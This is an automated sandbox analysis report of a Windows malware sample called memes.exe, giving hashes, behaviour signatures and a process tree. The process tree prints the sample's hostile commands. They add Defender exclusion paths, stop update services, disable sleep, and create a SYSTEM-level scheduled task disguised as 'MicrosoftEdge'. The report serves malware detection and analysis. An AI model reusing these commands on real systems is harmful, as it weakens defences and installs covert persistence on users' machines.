Analysis
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max time kernel
26s -
max time network
5s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-en -
resource tags
arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system -
submitted
24/02/2024, 19:18
Static task
static1
Behavioral task
behavioral1
Sample
memes.exe
Resource
win10-20240221-en
Behavioral task
behavioral2
Sample
memes.exe
Resource
win10v2004-20240221-en
General
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Target
memes.exe
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Size
7.9MB
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MD5
a52e04619b3f5d740c980b005376e0b8
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SHA1
75ab5d9deb76e15cf8208756e60ab75abd22da94
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SHA256
712c597fb2b0f25a262dd7a87f3b68eeaae4f9f1813245795e3190d74ac4351a
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SHA512
6e81e4c849f57656e82ea41580d61a102d20b37c23222dc4fa29d27bd161534b8bb355dfd0deb55d79a97f7547878b32fb371ded1f8d94b818252f40c3161c79
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SSDEEP
196608:YtI8DzOmW3omKB+yKCYrp5SwOOYOZKBuBtz:YtPl+byKX1gwJEA
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 4940 created 3408 4940 edge.exe 36 PID 4940 created 3408 4940 edge.exe 36 PID 4940 created 3408 4940 edge.exe 36 PID 4940 created 3408 4940 edge.exe 36 PID 4940 created 3408 4940 edge.exe 36 -
Stops running service(s) 3 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation memes.exe -
Executes dropped EXE 1 IoCs
pid Process 4940 edge.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4940 set thread context of 608 4940 edge.exe 105 -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4768 sc.exe 3964 sc.exe 2068 sc.exe 524 sc.exe 3008 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 4940 edge.exe 4940 edge.exe 2012 powershell.exe 2012 powershell.exe 4940 edge.exe 4940 edge.exe 4940 edge.exe 4940 edge.exe 4940 edge.exe 4940 edge.exe 4940 edge.exe 4940 edge.exe 608 dialer.exe 608 dialer.exe 740 powershell.exe 740 powershell.exe 608 dialer.exe 608 dialer.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2012 powershell.exe Token: SeShutdownPrivilege 932 powercfg.exe Token: SeCreatePagefilePrivilege 932 powercfg.exe Token: SeDebugPrivilege 608 dialer.exe Token: SeShutdownPrivilege 1200 powercfg.exe Token: SeCreatePagefilePrivilege 1200 powercfg.exe Token: SeDebugPrivilege 740 powershell.exe Token: SeShutdownPrivilege 3020 powercfg.exe Token: SeCreatePagefilePrivilege 3020 powercfg.exe Token: SeShutdownPrivilege 2204 powercfg.exe Token: SeCreatePagefilePrivilege 2204 powercfg.exe -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 3332 wrote to memory of 4940 3332 memes.exe 91 PID 3332 wrote to memory of 4940 3332 memes.exe 91 PID 2256 wrote to memory of 524 2256 cmd.exe 98 PID 2256 wrote to memory of 524 2256 cmd.exe 98 PID 2256 wrote to memory of 3008 2256 cmd.exe 99 PID 2256 wrote to memory of 3008 2256 cmd.exe 99 PID 2256 wrote to memory of 4768 2256 cmd.exe 100 PID 2256 wrote to memory of 4768 2256 cmd.exe 100 PID 2256 wrote to memory of 3964 2256 cmd.exe 101 PID 2256 wrote to memory of 3964 2256 cmd.exe 101 PID 2256 wrote to memory of 2068 2256 cmd.exe 102 PID 2256 wrote to memory of 2068 2256 cmd.exe 102 PID 4940 wrote to memory of 608 4940 edge.exe 105 PID 1064 wrote to memory of 932 1064 cmd.exe 108 PID 1064 wrote to memory of 932 1064 cmd.exe 108 PID 1064 wrote to memory of 1200 1064 cmd.exe 109 PID 1064 wrote to memory of 1200 1064 cmd.exe 109 PID 1064 wrote to memory of 3020 1064 cmd.exe 110 PID 1064 wrote to memory of 3020 1064 cmd.exe 110 PID 1064 wrote to memory of 2204 1064 cmd.exe 111 PID 1064 wrote to memory of 2204 1064 cmd.exe 111 PID 608 wrote to memory of 612 608 dialer.exe 5 PID 608 wrote to memory of 668 608 dialer.exe 3 PID 608 wrote to memory of 952 608 dialer.exe 50 PID 608 wrote to memory of 60 608 dialer.exe 6
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3408
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C:\Users\Admin\AppData\Local\Temp\memes.exe"C:\Users\Admin\AppData\Local\Temp\memes.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Users\Admin\AppData\Local\Temp\edge.exe"C:\Users\Admin\AppData\Local\Temp\edge.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4940
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:524
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3008
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4768
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3964
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:2068
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:932
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1200
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3020
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2204
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
5.7MB
MD58cd62e3ece85c4c3e9f6f7c816256adf
SHA19712769be3f755c5ecbe68d38800a3a8ecdaf324
SHA25639ebcdbb6993787be2ed9d2b6668b9ee2707ca483a66b51d1302bfc610ba021b
SHA512a0aa9f0e6542c526fc18d48ab945d8be3245900381c9640f6e122a633a15dd9a9364bacd830fbc588a926ebef8240300c1fbf4211eae600cff8b7e2c63613501